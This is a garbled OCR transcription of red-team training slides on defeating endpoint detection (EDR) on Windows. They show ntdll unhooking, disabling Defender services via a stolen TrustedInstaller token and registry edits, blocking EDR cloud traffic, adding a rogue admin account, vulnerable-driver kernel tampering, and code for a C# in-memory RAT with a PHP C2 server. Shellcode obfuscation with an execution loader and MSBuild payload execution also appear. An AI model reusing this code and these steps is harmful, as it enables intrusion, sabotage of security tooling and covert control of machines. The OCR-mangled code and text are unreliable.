OBJECT_ATTRIBUTES oa }
a.Length = OE1ECT ATTRIBUTES)
-.R_GtDlrectOPy = ;
a.0bjectName = &pus;

s = 0BJ_CASE_INSENSITIVE;
rityDescriptor = M
rityQuality0fService =

SyscallNtCreateFile(&hFile, STANDARD RIGHTS_ALL, &oa, &isb, &1i, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ, FILE_CREATE, FILE_NON_DIRECTORY_FILE, - )5
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REMOVE IT OR HIDE FROM IT?

Tounhook youneedto modifythe memory permissionising
NtProtectVirtualMemorywhich is hooked itself

You need to be clever when you changer permission
NtProtectVirtualMemorys at 0x9ceb0
ZwIsProcessinJad at 0x9ce90

CallVirtualProtecf{addrof ZwlsProcessinJpobize = 0x20 + size needed in
NtProtec)

M7,
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REMOVE IT OR HIDE FROM IT?

You caralsomapthe dllfrom diskand update the PEBdrModulelist to point to
the freshlymappedfile usingcreateFileMappin@ndMapViewOfFileAPIs

WARNING Certain EDR will trigger an alert based on the address used for the mapped file and the
module stomping

VOID *MapFileFromDisk(CHAR *name, HAMDLE *hFile, HANDLE *hMap) {
VOID *data = MULL,
HANDLE localHFile = *hFile;
HANDLE localHMap = *hMap;
localHFile = CreateFile(name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULLY;
localHMap = CreateFileMapping({localHFile, NULL, PAGE_READONLY | SEC_IMAGE, @, @, NULL)Y;
data = MapViewlfFile(localHMap, FILE_MAP_READ, @, @, @)

hFile = &localHFile;
hMap = &localHMap,;

return data;

M7,
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IATHOOKS

Address Ordinal  Mame Library
T8 000000000040A26C CloseHandle
ExeCUtablejse the IAT Im port %E] 000000000040A274 CreateFileA KERMEL32
dd b I d (=] 000000000040A27C DeleteCriticalSection KERNEL32
A reSSTa‘ Ie tomap WI NAoWs API %E| 000000000040A254 EnterCriticalSection KERNEL32
Ca“ =) 000000000040A25C ExitProcess KERNEL 32
@ Q000000000404 294 GetCurrentProcess KERMEL32

KERMEL32

The table Carh)e hooked by EDR @ Q000000000404 25C GetCurrentProcessld
Solution? Direct Windows API call

PEB>Ldr-> kernel32.dl}> export
table parsingto getreal APhddress

.idata:ee0000000040429C ; DWORD _ stdcall GetCurrentProcessId()
.idata:0eaaa00006408429C extrn __ imp GetCurrentProcessId:qword

M7,
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IATHOOKS

PEE *GetPEB() {

Getthe PEB

NtCrrentTelf)-
>ProcessEnvironmentBlock

Or obfuscatelt a bit tohidethe
Afs:[0x30]
Ags[0x60]

M7,
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|IATHOOKS

PEE *peb = GetPEB();

PEE_LDR DATA *Ldr = peb-»Ldr;

LIST ENT *head = &Ldr->InMemoryOrderModulelist;
LIST ENTRY *le = head->Flink;

LDR_DATA TABLE_ENTRY *dte = (LDR _DATA TABLE_ENTR

*base, CHAR* functionMName) {

IMAGE DOS HEADER* MZ (IMAGE DOS HEADER*)base
IMAGE NT_HEADERS* PE = (IMAGE NT_HEADE YTE*)base + MZ-»e lfanew);

_ export = (IMAGE_EXPORT_DIRECTO (((BYTE*)base +
PE- >Hpt1unleEddEP DataDirectory NMirtualAddress|);

if(wcsicmp{dte-»>FullDl1Name.Buffer, name) == @
BYTE* a = dte;
a += ax28;
DWORDB!

*namedffset = (D | {(BYTE* )base + export->AddressOfNames);
) *functionOffset = (DWORD*) ¥YTE*)base + export-»AddressOfFunctions);

*grdinalOffset (DWORD*) ((BYTE*)base + export-*AddressOfNameCrdinals);

return ( < export->NumberOfNames; i++) {

if(strcmp(functionName, (( :"hafu + nam~D+F5e+ 1) ==

return (FARPROC)((BYTE* e Et_ﬂrdinalﬂffset i]11);:

= le-»>Flink;
LDR DATA TQE_E_EETHT* le;
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IATHOOKS

HANDLE LdrLoadD1l(WCHAR *path) { FARPROC Resolve(WCHAR *d11, CHAR *func) {
HANDLE h = : HANDLE hLib = LdrLoadDl1({dll};
UNICODE_STRING u; FARPROC ptr = DirectGetProcAddress(hLib, func);
NTSTATUS status = DirectRtlInitUnicodeString(&u, path); printf("%ls!%s at ex¥%p\n", dll, func, ptr);
status = DirectLdrlLoadDl]| ., B, &u, &h);

return ptr;
return h;

DirectlLdrLoadDl]l return 8x880687FFOFED28688 for dll user32.dll
user32.dll!MessapeBoxA at 8x000087FFOFED92128

| BE] 0000000000408380 MessageBoxA USER32

M7,




Defeating kernel callback
KERNEL callback?

Thereis plenty of optionsavailablefor EDRs

PsSetCreateProcessNotifyRoutine function  esecreserrocesnotiyroutine uncton

PsSetCreateProcessMotifyRoutinebx function

( ntd d k . h) PsSetCreateProcessMotifyRoutineEx2 function

Article = 04/18/2022 » 2 minutes to read ! PsSetCreateThreadMotifyRoutine function

PsSetCreateThreadMotifyRoutineEx function

The PsSetCreateProcessNotifyRoutine routine adds a driver-supplied callback routine to, or removes it from, a list of . . .
PsSetLoadlmageMotifyRoutine function

routines to be called whenever a process is created or deleted.
PsSetLoadlmageMNotifyRoutineEx function

M7,



Defeating kernel callback

KERNEL callback?

Thereis alsoother minifiltersthat canbe registered TelemetrySourcerercanbe

usedto listthem

https://github.com/jthuraisamy/TelemetrySourcerda

In this case gpopularedrshadcallbackregistered
for pretty mucheverything

M7,

File System
File System
File Systermn
File Systemn
File System
File Systern
File Systermn
File System
File System
File Systermn
File Systemn
File System
File Systern
File Systermn
File System
File System
File Systermn
File Systemn
File System
File System

REATE_MAMED_PIPE (
IRP_MI_CLOSE (pre)
IRP_MJ_CLOSE (post)
IRP_MJ_READ (pre)
IRP_MJ_READ (post)
IRP_MI_CUERY_INFORMATION (pre)
IRP_MJ_CQUERY_INFORMATION (post)
IRP_MI_SET_INFORMATION (pre)
IRP_MI_SET_INFORMATION (post)
IRP_MI_SET_EA (pre)

IRP_MI_SET_EA (post)
IRP_MJ_FLUSH_BUFFERS (pre)
IRP_MJ_FLUSH_BUFFERS (post)
IRP_MIJ_CUERY_VOLUME_INFORMATION (pre)
IRP_MI_QUERY_VOLUME_INFORMATION (post)
IRP_MI_DEVICE_COMTROL (pre)
IRP_MI_DEVICE_COMTROL (post)
IRP_MI_INTERMAL_DEVICE_CONTROL (pre)
IRP_MI_INTERMAL_DEVICE_COMNTROL (post)
IRP_MI_SHUTDOWN (pre)
IRP_MI_SHUTDOWN (post)

re)

tsys + O 7070
t.sys + 073150
t.sys + 73550
t.sys + Oxbb210
t.sys + OxBb&G0
t.sys + Oubb%d0
t.sys + OxbcOb0
tsys + Oubcf0D
t.sys + Oubd%f0
t.sys + Ow1ddd0
t.sys + Oxlddab0
t.sys + OxldeleD
t.sys + Oxlde310
tsys + Ox761c0
tsys + O 763c0
t.sys + Ou76d90
tsys + Q77150
tsys + Q73770
tsys + 73910
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Defeating kernel callback
KERNEL callback?

C2mayusenamedpipefor interprocesscommunication oremote communication
(SMB beacon)

File System IRP_MJ CREATE NAMED PIPE (pre
What aboutavoidingnamedpipe& Let mantroduce MailSlotAPIs

main( argc, **argv) {
CHAR slot[] = "‘\\\\.\\mailslot\\MrUn
HANDLE hSlot =

1kad3r";

CreateSlot(slot, &hSlot);

printf("HANDLE is %p\n", hSlot);

HANDLE hMail = CreateFile(slot, GENERIC WRITE, FILE SHARE READ, » OPEN_EXISTING
DWORD dwWritten = 8;

printf("HANDLE is ¥p\n", hMail);

WriteFile(hMail, argv[1]|, strlen{argv

ReadFromSlot{hSlot);
CloseHandle(hMail);
CloseHandle(hslot);

e M7, e




Defeating kernel callback
KERNEL callback?

VOID ReadFromSlot(HANDLE hslot) {
DWORD lpNextSize = 8;

DWORD lpMessageCount = 8;
VOID CreateSlot({CHAR *slot, HANDLE *hslot) {

o — o Ao (e ¥ T
TELEE o R E SN [EL TEy Ly L2 AT BT ALEELE BOOL bSuccess = GetMailslotInfo({hSlot, NULL, &lpNextSize, &lpMessageCount, NULL);

1
J

if(!bSuccess) {
printf(“GetMailslotInfo call failed X%d\n", GetLastError());

WARNING
if(1lpMessageCount == MATILSLOT_NO_MESSAGE) {

MaIISIOtmessage:annOtbe blgger printf("we don't have message\n");
than 424 bytes

But EDRs usually do not monitor N N
while(lpMessageCount != 8) {
the APIS DWORD dwRead = 8;

CHAR *message CHAR*)GlobalAlloc(GPTR, lpNextSize + 1);

printf (™A tion ¥d bytes\n", lpNextSize);

ReadFile( hs » lpNextSize, &dwRead, MULL);

printf(“mes is %s\n", message);

GlobalFree(message);

bSuccess = GetMailslotInfo(hSlot, WULL, &lpNextSize, &lpMessageCount, NULL);

i NESDer, |

printf(“"We got %d message'n”, lpMessageCount);




Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

At the end of thedayEDRs are running software on thedpointyou haveaccess

L P

I File Access Denied — s

You need permission to perform this action

You require permission from Trustedinstallerto make changes to this file

MsSense.exe

https://github.com/Mr-Un1k0d3r/EDRs/blob/main/elevate _to system or_trustedinsaller.c

O



Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

You canmpersonatethe TrustedInstalleprivilege butduplicatingthe service
tokenandgetthe group

tem] Impe
er!In"taller PID] Que

Nom du groupe
Attribut

&, Propriétaire du
upe bien




Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

With the TrustedInstalleprivilegeyou cantamperthe registrykeyassociatedvith

the services

Computer HKEY _LOCAL_MACHIMENSYSTEM\ CurrentControlSeth Services Sense

M7,

RDPUDD | Mame Type Data

RdpVideoMini || a6) (Default) REG_SZ (value not set)

;E’;“ %4| DelayedAutostart REG_DWORD 0x 00000000 (0)

ReFS {h] Description REG_S5Z @%ProgramFiles?\Windows Defender Advanced Threat Protection'\Ms5ense.exe, - 1002

ReFSV] {h\l DisplayMame REG_5Z @%ProgramFiles¥\Windows Defender Advanced Threat Protection'MsSense.exe -1001

Remotehcces: 4 ErrorControl REG_DWORD OoeDOOO00MT (1)

RemoteRegist ‘.’.'6] Failuredctions REG_BIMARY 80 51 01 00 00 00 00 00 00 00 00 00 03 00 00 00 14 00 00 00 01 00 00 00 &0 ea 00 00 01 00 00 00 &0 =a 00 00 01 00 00 00 0 93 04 00
RetailDermno Ii[h] ImagePath REG_EXPAMND 57 "%eProgramFiles %\Windows Defender Advanced Threat Protection'\Ms5ense.exe”

RFCOMM ‘.“.'6] LaunchProtected REG_DWORD e DOOOO0M0 (0)

rhproxy 31"1 ObjectMName REG_SZ LocalSystem

RrmSve ‘.’.'$| PreshutdownTi... REG_DWORD CoeDOOOOTAD (2000)

RpcEptMappe {h] RequiredPrivileg... REG_MULTI_5Z SefuditPrivilege SeChangeMotifyPrivilege SeCreateGlobalPrivilege SeCreatePagefilePrivilege SeCreatePermanentPrivilege S5eDebug...
Rpclocator ﬁ'§| Servicesid Type REG_DWORD (re0D000001 (1)

Rpcse o8| Start REG_DWORD OreDOOO0002 (2) | set to 0x04 to disable

rspndr 4| Type REG_DWORD 000000010 (16)
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Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

Removethe ImagePatland set Start to 0x4 for thimllowingservices:

A Sense

A WdBoot

A WinDefend
A WdNisDrv

A WdNisSvc

Reboot andenjoy
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Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

Thereisaproblem, the EDRuvill flag theregistrytampering

Most EDRs are cloumhsed which meansthey needto sendthe information to
the cloud

You can monitor the networkaffic usingNetwork Monitor Signedoy Microsoft)
https://www.microsoft.com/enca/download/details.aspx?id=4865
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Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

#include <windows.h>
#include <stdio.h>»
#include <netfw.h>

int main() {l
HRESULT hr;
GUID GUID HNetCfg FwPolicy2 = {8xe2b3c97f,8x6ael,8xdlac,{8x81,8x7a,0xf6,0xf2,0x21,08x66,0xd7 ,Bxdd}};
IClassFactory *ict = NULL;
IDispatch *id = NULL;
INetFwPolicy2 *nfp2 =

hr = CoInitialize(

JLL )

CoGetClassObject (&GUID HNetCfg FwPolicy2, CLSCTX LOCAL_SERVER | CLSCTX_INPROC_SERVER, NULL, &IID IClassFactory, (VOID **)&icf);

(hr != S _OK) {
printf(“CoGetClass0Object failed: HRESULT ex%88x\n", hr);
CoUninitialize
ExitProcess(@);

¥

"
E

hr = icf-»1pVtbl->Createlnstance({icf, MWULL, &IID IDispatch, (VOID**)&id);




Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

One lasproblem the firewallmay o G
not be enabledlocally due to
ma.n agemoncy Customize settings for each type of network

You can modify the firewall settings for each type of network location that you use.

£ For your securnty, some settings are managed by your system administrator.

Home or work (private) network location settings

Block all incoming connections, including those in the list of allowed programs

7! Notify me when Windows Firewall blocks 3 new program

W

Public network location settings
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Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

WCHAR *username = MULL;

Createa local administrative e o s
accountto enforce the locapolicy e
Insteadof the domain Bt

i.usril comment = NUL
i.usril script_path =1

MET_API_STATUS status;

status = NetUserAdd(NULL,

if(status S5
printf

1, (BYTE*)&ui, &dwError);

LOCALGROUP_MEMBERS INFO 3 1mi;
domainandname = username;
status = NetlLocalGroupAddMembers (
if(status != NERR_Success) {
printf

"y 3, (BYTE*)&Imi, 1);

", status

299



Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

Quicksummary
A Createa local administrativeccountto enforce the locapolicy

A Block the EDR network range
A Disablethe service

A Reboot

A Enjoy
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Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

SomeEDRpreventtamperingfrom the kernel

You carbringyour own vulnerabledriver to compromise the kernel amémove
the kernel callback

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

Drivers tend to be poorly designed; there are vulnerabllities all over the place
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Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?
Hunting forMmMaploSpacen a driver exportsa good start

MmMaploSpace function (wdm.h)

Article = 02/25/2022 = 2 minutes to read

The MmMaploSpace routine maps the given physical address range to nonpaged system space.

Virtual tophysicaimemorymappedin the kernelithey cannotbe pagedout

M7,



Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

Remembethesekernel callback

Onceyou have kernel codexecution
you canmodify the callbacks

FItRegisterFilter function (fltkernel.h)

Kernel codes hard,thereisa bit of a
learningcurve

FltUnregisterFilter function (fltkernel.h)

M7,

File System
File Systern
File Systern
File System
File System
File Systern
File Systern
File System
File System
File Systern
File System
File System
File Systern
File Systern
File System
File System
File Systern
File Systern
File System
File System
File System

IRP_MJ_CREATE_NAMED_PIPE
IRP_MI_CLOSE (pre)
IRP_MI_CLOSE (post)
IRP_MJ_READ (pre)
IRP_MJ_READ (post)
IRP_MIJ_QUERY_INFORMATION (pre)
IRP_MI_QUERY_INFORMATION (post)
IRP_MJ_SET_INFORMATION (pre)
IRP_MJ_SET_INFORMATION (post)
IRP_MI_SET_EA (pre)

IRP_MI_SET_EA (post)

IRP_MJ_FLUSH_BUFFERS (pre)
IRP_MJ_FLUSH_BUFFERS (post)
IRP_MI_QUERY_VOLUME_INFORMATION (pre)
IRP_MI_QUERY_VOLUME_INFORMATION (post)
IRP_MJ_DEVICE_CONTROL (pre)
IRP_MJ_DEVICE_CONTROL (post)
IRP_MI_INTERNAL_DEVICE_CONTROL (pre)
IRP_MJ_INTERNAL_DEVICE_CONTROL (post)
IRP_MJ_SHUTDOWN (pre)
IRP_MJ_SHUTDOWN (post)

re)

t.sys + Ox 7080
t.sys + O 70F70
t.sys + e 75150
t.sys + 075550
t.sys + Oxbb210
t.sys + OxbbEA0
t.sys + TeBb9d0
t.sys + OxbcOb0
t.sys + Oebcf00
t.sys + (rebd S0
t.sys + T 1ddBd0
t.sys + Oxlddab0
t.sys + Ox1delGl
tsys + Te1de310
tsys + (7610
t.sys + Ox 7630
t.sys + Ox76d90
tsys + e 77150
t.sys + 073770
tosys + 073910
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Attacking the EDR Core Values

Instead of bypassing it, why not destroying it?

EDRSandBlast

Abuse ofread write primitive in thefollowingsdrivers:
A RTCore64.sys
A DBUtils 2 3.sys

https://github.com/wavestonecdt/EDRSandblast
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Alternative to Evade EDRs

Do we need shellcode?

{K2NI FTyagSN S R2y Qi

Cobalt Strike was build on Metasploit Meterpreter which was an exploitation
framework

Stage0 using shellcode was useful in an exploitation context

GazRSNYé¢ wWSR ¢SIFY | NB dzadzl £t £t & RSLX 2@ A
Your implant can be written in C#, or CNam, or whatever make you happy and
Implement the features you need directly
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Alternative to Evade EDRs

Do we need shellcode?

| personallyuse a C# implanthat executein memory .Net exeEachcommandis a
.Pdeet rT]()(leIEB private static kool InternalExecute(byte[] assembkly, string args)

{
kool bSuccess = trme;
List<string> processirgs = new List<string>»({StringTolirgsirray({args)):
try
i

Lzsembly a = Assembly.Load(assembkly) ;
MethodInfo method = a.EntryPoint;

if (method !'= mmll)
i
object o = a.Createlnstance (method.Name) ;
method. Invoke (o, new object[] { (object[])processirgs.Tolrravy () }):
1
else
i
kSuccess = false;
1
1
catch (Exception e}
i
BufferedOutput .Writelutput (e .Message) ;
1

return bSuccess;
"(f[ — 52 y 306



Alternative to Evade EDRs

Do we need shellcode?

Youmaywantto patch AMSI and ET¥®hce.Loadwill end uploadingAMSI on
your byte[] assembly

gs[@]);

. WriteLine("loaded");
d.Sleep(l1600008);

M7,

\clr.dll

\mscorlib

W\ on




Alternative to Evade EDRs

Do we need shellcode?

After the Assembly.Loadiascalled

slalelslelalale Tole)
Beseseeeb
lellslolela T g e

860000007 c0B0B0
06660660 faBBBe
08800860 feBOBO

2epepeeadc
pepooesoef
B8B08a60ef 7200080
06660660eebbBoBe
0xB0088008ed8daB0e

5
s
S
5
S
s
s
S
s

+ r+

+
m
=]

+
m
3

r+
m
=]

+ n
m
=]

+
m
3

+
m

m
3

=]

oreei.dll

VERSION. dll
MET\Framework
dll
se_clre4pe.dll
IME14@ CLRe48e.dll

Defender\Platformi4.18

s Defender\Platform\

7-8\MPCLIENT.DLL




Alternative to Evade EDRs

WHAT you need to learn about?

AMemory permission RWX memasbad (Image Private Mapped)
APEB.LDR moduteerrideaddresdocation

AArgumentspassedo Windowsfunctions(stack spoofing)

A Shellcodeobfuscation:hidingthe fs:0x30 or gs:0x30 call

AHow reflective loading works (Pretty much a sedfdLibrary AV
reimplementation)

AHookinggSleep Hooking or other ideas)
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Alternative to Evade EDRs

WHAT you need to learn about?

AHow LoadLibraryAV work underthe ho0d m———————

A ntdll'LdrLoadDII

A ntdll'LdrplInitializeDlIPath
A ntdll'lLdrpLogDlIStateEx2
A ntdll'LdrpLogEtwEvent
A ntdll!NtTraceEvent

bl e =

Mov rex, [rdi+a]

lea rg, [rsp+@Esh+var AS]
mov rdx, rsi

call LdrpInitializeDl1Path
lea r9, [rsp+@Es8h+var B8]
mov réd, ebx

lea rdx, [rsp+e8E8h+var AS]
MmO rcx, rdi

call LdrpLoadDll

cmp [Fsp+@E8h+var_ 2(], @
Mo ebx, eax

jnz

short loc 188816B64
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Alternative to Evade EDRs

WHAT you need to learn about?

So RWX memory anatchingmemoryis dangerous

Yes and no, but fouwantto be extracareful youcan use of hardware
breakpointto alter the memory

A https://github.com/rad9800/hwbp4mw

A https://github.com/rad9800/misc/blob/main/NtTraceEvent.c

M7,
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https://github.com/rad9800/misc/blob/main/NtTraceEvent.c

PayloadCrafting

Thisis a quickoverviewof someof the tricksthat canbe usedto create
payloads

Shamelesglug: ifyouare curiousin the codingaspect of aedteam, |
highlyrecommendregisteringto my patreon

More than 100 hoursor videosabout offensivecoding

https://mr.unl1k0d3r.online/portal/
https://patreon.com/MrUn1k0d3r

M7,



https://mr.un1k0d3r.online/portal/
https://patreon.com/MrUn1k0d3r

PayloadCrafting

Keepin mind that EDRmaynot hookthe sameAPIs.
You carvalidatewhichone arenookedusingthe hook finder64

https://github.com/Mr-Un1k0d3r/EDRs/blob/main/hook finder64.c
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PayloadCrafting

Most Nt* APIwill requirean OBJECT ATTRIBthBEneedsto be
Initializedmanuallyin your code

Source codehttps://mr.un1k0d3r.online/training/source/syscall.c
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PayloadCrafting

| personallyprefer patchingthe Nt* insteadof usingdirect syscall
becauseof the lackof documentation, butuckily, there are a lot of

cool projectssuchassyswhisper

https://github.com/jthuraisamy/SysWhispers
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PayloadCrafting

PROS:

APretty efficient usermodehook bypass
ANoneedto change memory permission

CONS:

AL ackof documentation
AHard to code

M7,



PayloadCrafting

Yourstage Oshouldbe as simple as possible andedasreconbefore
you drop your full RAT

Foryour stage Oyou need
Ain and out data transport
ASimple commanexecution(avoidingOY R ® S E

@p)
@p)
N
@]
X
C
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PayloadCrafting

Source codehttps://mr.unlk0d3r.online/training/source/http c2.cs

Ignoringthe certisthe first step
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PayloadCrafting

Creatingyour network query method

output = ©

hwr.method = "POST";

hwr.Useragent =

hwr.Timeout = 18868;

hwr.Host = host;

hwr.ContentType = "application/json”;

hwr. Proxy . Credentials = O 3C he . Defaul tNetworkCredentials;

ment.0sversion. Tostring());
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[ ]
PayloadCraftin
[] postData = Encoding.ASCII.GetBytes(data);
5 = hwr.GetRequeststream();

s.Write{postbData, @, postData.Length};

Gettlngthe data: ][ sendRequest(e.Message) ;

ASendarequestandgetthe responseas the  § i @ 1 i
data to process

AExecutethe datareceivedas .Net code

5 = hwr.setResponse() .eetResponsestream();
sr = streamReader{s);

output = sr.ReadToEnd(]};
SendRequest(e.Message);

o \
(s = )

i

5.Dispose();

output;
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PayloadCrafting

Execute( assembly, c2url, cZhost)

[] bytes .FromBasesdstring{assembly) ;
dt= ad({{) =» InternalExecute(bytes, c2url, c2host)};

Assembly.Load Canreceivea string,
andloadthe exefrom it . e,

2url, c2host);
9 H

bly.Load{assembly);
d.EmtryPoint;

a.CreateInstance{m.Name) ;
m. Invoke( : [14{¢

sb.Append(sw. Tostring(}));
sw.Close();

e.Setout (tw);

SendRequest(sb.Tostring(}};

SendRequest(e.Message);

M7, |



PayloadCrafting

The main part of the code

outpu
c2delay =]

c2url = " + Guid.NewGuid().Tostring();
c2host = '

etworkin

output = n.Sendrequest(
(output. Length » 8)

ExecuteCompiledCSharp. Execute{output, c2url, cZhost});

(Exception e)

n.sendrequest{e.Messagel;

O ‘




PayloadCrafting

Onlything left isto hostyour recon.net code on theremote server.

<?php
if( strpos ($_SERVER['HTTP_USER_AGENT"], "ringzerQ") !==false) {

$data = file_get_contents (" php:/finput™;
if(!  empty($data)) {

/[ save output of a command to a file

file_put_contents ("/ tmp/output.c2", $data, FILE_APPEND);
} else {

/l deliver payload

echo base64_encode( file_get contents  ("bin.exe");

}

>

Source codehttps://mr.unl1k0d3r.online/training/source/c2.php.txt
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https://mr.un1k0d3r.com/training/source/c2.php.txt

PayloadCrafting

Quick trick toavoid automated
tool to fetch your payloads

If( strpos ($ _SERVER['HTTP_USER_AGENT"], "ringzerQ") |== false)

M7,



PayloadCrafting

Younow have afully functional RATthat execute
assemblyin memory

We will cover which kind information you should gather
INn the next section
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PayloadCrafting

Yourpayloadwill be inspectedby EDR & AV amather securityproduct

Obfuscations designedo getyoulandedwhereyouwantto; it doesnot defeat
runtime analysis

Classitechniques:

A Encryptinghe shellcodewith a XORoop
A Encryptinghe shellcodeusingRC4

A Encryptinghe shellcodeusingAES

A Gzipping Base64 thashellcode
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PayloadCrafting

What if our codehadnone of thefollowingcharacteristicand afairly
goodentropy?

Randomnessf the code carbe evaluatedgivingan entropy score
basedon the score

Alt ispossible tcevaluatethe chance of @amplebeingencryptedor
obfuscated

Legitcodeusuallyisnot THATrandom
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PayloadCrafting

With that in mind, lets think of how we can represent our shellcode

We know that we have bytes from 0x00 to Oxff in there (256
possibilities)

outputlength = 0

dataset = ["list", "of"™, "256", "unique", "words"]
payload = open{sys.argv([Ll], "zk").read()
outputlength = len({payload)

final = [0] * ocutputlength

iterator = 0O
for c in pavyload:

final[iterator] = dataset[ord(c)]
iterator 4= L

A "M? print "{"' 4 '", "' Jjoin(final) + '"



PayloadCrafting

Youwill end upwith alist of word, tied to an index

Our shellcodeis 0x00, 0x02, 0x01, 0x00, 0x00, Ox01

table = {"first" , 'second” ," third "}
mappiné; = {"first" , "third" , "second", "first", "first",
"second"};

Thiswill producedecententropy due to the use ofwords and none of the
« known» patterns arepresentin the code
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PayloadCrafting

All we have to do is map the word to the index to retrieve the original
byte

C# is kind enough to provide the following method:

Array.Index(ftable, needle);
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PayloadCrafting

namespace updatesystem

{
internal class Program
{
[DllImport ("kernsel32")]
public static extern kool VirtualProtect (IntPrr lplAddress, UInt32 dwSize, uint flHewProtect, out uint 1pflold
[UnmanagedFunctionPointer{(CallingConvention.Winapi) ]
public delegate IntPtr Caller()
ztatic vold Main(string[] args)
{
string[] table = { "vour 2S¢ words list goes here" }
string[] mapping = { output of the python script }
kyte[] final = new bvte[mapping.Length]
for{(int 1 = 0; i < mapping.Length; i++)
{
final[i] = (bvte)hArray.IndexCf({takle, mapping[i])
1
IntPtr allocated = Marshal.AllocHGlokal (mapping.Length) ;
uint old = 07
VirtualProtect{(allocated, (UInt32)mapping.Length, , omt old) !
Marshal.Copy(final, , allocated, final.Length) ;
var d = Marshal.GetDelegateForFunctionPointer<Caller»>({allocated) ;
daf():
1
1
1
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PayloadCrafting

This will produce a final executable of 3 to 4 Mb; which Is also nice,
since some engine will not even bother analyzing bigger file

Since it was written inNet, we can pass this file to oudetstage O
which iIs accepting arbitrary assembly to be loaded through
Assembly.Log(l
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PayloadCrafting

https://github.com/Mr - Un1kOd3r/MiniDump
https://github.com/Mr - Un1kOd3r/MiniDump/blob/master/dump.c
https://github.com/Mr - Un1k0d3r/MiniDump/blob/master/safe - against - edr -

minidumpo64.c

T
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PayloadCrafting

<Project ToolsVersion="4.0" zmlns="http://schemas.microscft.com/developer/msbuild/2003">

. .. . .
<Target Name="__ task ">
Revisitingyour classic Msbuild.exe =

<MyTask /=

</Target>

<U=zingTask
TaskName="__ task_ "
TaskFactory="CodeTaskFactory"

YO u th i n k eve ryth i n g th at WaS pOSS i b I ei S :‘izirariigZiéiz;’;;;Windows\Hicrosoft .Het\Framework{{arch}}\v4.0.3031%\Microsoft.

. - <Task>
I d bI b t <Using Namespace="System"™ />
a' rea’ ypu IC’ e Crea Ive <Uzing Namespace="System.IO" />
<Code Type="Fragment"” Language="cs">
. . Pl 2\ </Code>
msbuild.execsprojF At S I Nb - a[ o=
- /UsingTask>
<U=singTask
TaskName="MyTask"

[hatexecuteC# code
BssemblyFile="C:\Windows\Microsoft.Net\Framework{{arch}}\v4.0.30319\Microsoft.Build.Tasks.v4.0.d1l1" >

Build.Tasks.v4.0.d11" >

<Task:>
https://github.com/Mr-Un1k0d3r/PowerLessShell — “Sem - ==
puklic class MyTask : Task, ITask {
public override bool Execute() {
1>
</Code>
</Task>
</UsingTask>

</Project>
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PayloadCrafting

Z?xml version="1.0" encoding="utf-8" 2>
ZIDOCTYPE IMDUGWVASkKYaT [

<!ENTITY py436k6rLHZgzmIciG "&#xX26;&#x23;8#xT8; e¥x37,;&#x35;&#x3b; e#x26; a¥X23; &#xT3; &#x
1>

-~ ~ — (9% ’ Fal v N\ 14
., ; u S O u A 2 y. A a a S I' a e 8::2Prcject ToolsVersion="4.0" zmlns="http://schemas.microsoft.com/developer/msbuild/2003">

<Target Name="ItMWMxI1mgPnlE1NeRSckNTcB6cahsleC" >
<ITtMWMx1mgPnlK1NeR5ckNTcBécahslel />
<windows />
</Target>
<PropertyGroup>

Why not usingXML concept tdhide the payload <G0sop00L a3 S5
usingENTITY to HTML encode thdole C# rroperescromn

<UsingTask
LzzemblyFile="§ (MSBuildToolsPath) \Microsoft.Build. Tasks.v4.0.d11"
3 "ItMWMxImgPnlK1NeRSckNTecB6cahsleC"
TaskFac y="CodeTaskFactory">
<ParameterGroup/>

Sametechnique 0 ondiskdetection, becauseyou T

haveanother layer of obfuscation on top of the e T
original toolset

Taskllame="windows"
="CodeTaskFactory"
ile="§ (M5BuildToolsPath) \Microsoft.Bnild.Tasks.v4.0.d11" >

<Code Type="Class" Language="Csharp">

</fCode>
</Task>
</UsingTask>
</Project>
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15 minutes break




Internal Reconnaissance

AProcess listing should be the first command you run

AThis will confirm if there is another user of interest running on the
host

Alt will confirm which security product is running on the system
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Internal Reconnaissance

In addition to process listing, dumping services may be useful
Cobalt Strike commanpis can be used
More information can be retrieved using WMIC

C:\Usershcharles.hamilton>wmic proc

State
Running
Stopped
Stopped
Stopped
Running
Running
Running
rupped

“ppﬁéadiness ’ -
AppVClient C: \window t lient.exe
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Remembeiour simple stage 0 RAT?
Listing process in C#

Main( [] args)

Process.GetProcesses();
I: :-.':__ Cess I:I F'P‘E":‘EESLlit}

Console.Writeline( JFormat{"{8} {1}

'y p.1d, p.ProcessName)},
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You carreimplementpretty muchall of the
Windows command In C and C# &void
usingOYR®SES kO X
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Services listing will help you confirm if theiae
security solutions running on the host

It may also reveal custom services
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If you enjoy reverse engineering, you can try to reverse the service and
find potential vulnerabllities or embedded credentials

Real life example:

The company wants to save energy, so they force shutdown
workstations at midnight; the service Is sending information to a server

and the credentials used are embedded in the binary
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Quick reverse engineering tips:
If the binary file is a .NET file, udeSpy
Ahttps://github.com/0Oxd4d/dnSpy/releases

If It IS a native executable:
Axdbg64https://x64dbg.com

AIDA (freeware or PRO if you have a licefsg)s://www.hex-
rays.com/products/ida/support/download freeware.shtml

AGhidrahttps://www.nsa.gov/resources/everyone/ghidra/

e M7,
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Exercise

FInd the password
IN the custom
application
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Challenge URDbitps://mr.unlkO0d3r.online/training/source/Corpo.exe
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Internal Reconnaissance

username

staticVS runtimedebugging

r securePwd = ring();
B; i « password. ; i)

rePwd . Append rd[1]);

E 5 e ( e", username, securePwd, "R
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dnSpylive debugging

Adda breakpointon DoCorpo ¥ Deug oo .

Add Breakpoint F9

*  Edit Method (CH)... Ctrl+5hift+E
*  Edit Class [C#)...

#  Add Class Members [C#)...

#  Add Class (C#)...

Stepoveruntil the decryptionis
completed
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Once the call twecryptstringFromBytes Aes
Inspect the variable in the debugger

IS completed, simply

348



Internal
Reconnaissance

